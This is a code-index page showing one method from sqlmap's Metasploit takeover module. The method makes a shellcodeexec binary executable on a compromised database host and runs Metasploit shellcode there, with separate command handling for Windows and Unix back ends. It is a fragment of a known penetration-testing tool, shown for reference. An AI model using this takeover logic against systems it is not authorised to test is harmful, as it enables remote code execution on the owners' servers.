MCPcopy Index your code
hub / github.com/sqlmapproject/sqlmap / _runMsfShellcodeRemoteViaSexec

Method _runMsfShellcodeRemoteViaSexec

lib/takeover/metasploit.py:442–453  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

440 self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
441
442 def _runMsfShellcodeRemoteViaSexec(self):
443 infoMsg = "running Metasploit Framework shellcode remotely "
444 infoMsg += "via shellcodeexec, please wait.."
445 logger.info(infoMsg)
446
447 if not Backend.isOs(OS.WINDOWS):
448 self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True)
449 cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString)
450 else:
451 cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString)
452
453 self.execCmd(cmd, silent=True)
454
455 def _loadMetExtensions(self, proc, metSess):
456 if not Backend.isOs(OS.WINDOWS):

Callers

nothing calls this directly

Calls 3

infoMethod · 0.80
isOsMethod · 0.80
execCmdMethod · 0.80

Tested by

no test coverage detected